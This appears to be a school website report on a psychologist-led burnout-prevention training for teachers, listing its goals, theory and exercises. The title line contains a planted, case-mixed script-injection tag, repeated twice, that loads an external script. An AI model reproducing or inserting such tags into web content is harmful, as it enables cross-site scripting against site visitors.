Психологтар мектебі өткізген: «Өзіңді позитивпен зарядта!», «Жақсы көңіл-күймен жұмыс» тақырыбында тренинг: Зайнулина Ф.А.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
23.02.2023
Тренинг на тему: «Зарядись позитивом!», «Жақсы көңілмен шынық», провела психолог школы: Зайнулина Ф.А
Цель: снятие эмоционального напряжения для укрепления психологического здоровья педагога.
Задачи:
-познакомить участников тренинга с некоторыми приемами психологической саморегуляции;
-создать благоприятные условия для продуктивной работы над собой;
-совершенстовать развитие личностных качеств, стабилизируя внутренную душевную гармонию.
Анализ: Озвучили основные признаки эмоционального выгорания:
Было дано разъяснение, что такое профессиональное выгорание — это синдром, развивающийся на фоне хронического стресса и ведущий к истощению эмоционально-энергетических и личностных ресурсов работающего человека.
Синдром профессионального выгорания — самая опасная профессиональная болезнь тех, кто работает с людьми: всех, чья деятельность невозможна без общения. Неслучайно первая исследовательница этого явления Кристина Маслач назвала свою книгу: «Эмоциональное сгорание — плата за сочувствие».
Расмотрели три основные составляющие синдрома выгорания
Дали характеристику трем стадиям профессионального выгорания
Практическая часть
Упражнение «Поднимите руки те, кто…»
Экспресс-приемы для снятия эмоционального напряжения
Упражнение «Корзина Советов». Как преодолеть стресс?
Игра «Автомобиль»
Упражнение «Комплемент»
Упражнение «Плюсы и минусы »
Упражнение «Я дома и работе»
Методика «Незаконченное предложение....»
Банк способов саморегуляции
I. Способы, связанные с управлением дыханием .
II. Способы, связанные с управлением тонусом мышц, движением
III. Способы, связанные с воздействием слова
IV. Способы, связанные с использованием образов
Вывод:
Не доводите уровень психических нагрузок до критических значений.
Итоговая рефлексия
Цель: Вызвать у участников положительные эмоции.